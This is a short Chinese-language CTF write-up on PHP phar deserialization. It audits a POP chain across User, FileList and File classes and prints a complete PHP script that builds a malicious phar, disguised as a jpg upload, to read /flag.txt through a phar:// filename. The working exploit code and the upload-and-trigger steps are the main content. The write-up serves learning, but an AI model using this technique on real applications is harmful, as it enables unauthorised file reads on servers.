0x01前言
一直想写一篇关于phar反序列化的文章,一直没有找到合适的机会今天刚好刷了几道题都是关于phar的反序列化利用。所以写一写记录一下相关的做法和知识点。
0x02考点
1.文件上传
2.phar得反序列化
3.pop链的构造
0x03代码审计
首先在User
中找到一个链的开始,会调用close()函数。所以继续往下审计。
会发现在File
类中有一个close()函数,这里还直接调用file_get_comtents()
函数,那么不多说这里绝对是链子的结尾。但是如果只用这两个类是不够的,因为不能直接打印出来。所以得继续下一个类FileList
继续使用,正好里面也有__call
函数。
那么我们就奖$this->db
复制为FileList
类这样我们就可以直接使用该类中得方法。
然后通过__destruct()
方法打印出来
EXP:
<?php
class User{
public $db;
public function __construct()
{
$this->db = new FileList();
}
}
class File{
public $filename;
}
class FileList {
private $files;
public function __construct()
{
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
}
}
$User = new User();
$phar = new Phar("./rabbit.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($User); //触发的头是User类,所以传入User对象
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();
?>
然后将生成的phar文件,转化为相应的jpg文件然后传上去然后直接下载。
修改为:
filename=phar://rabbit.jpg
触发发序列化。
0x04总结
这个知识点挺有意思的,还是得多多学习。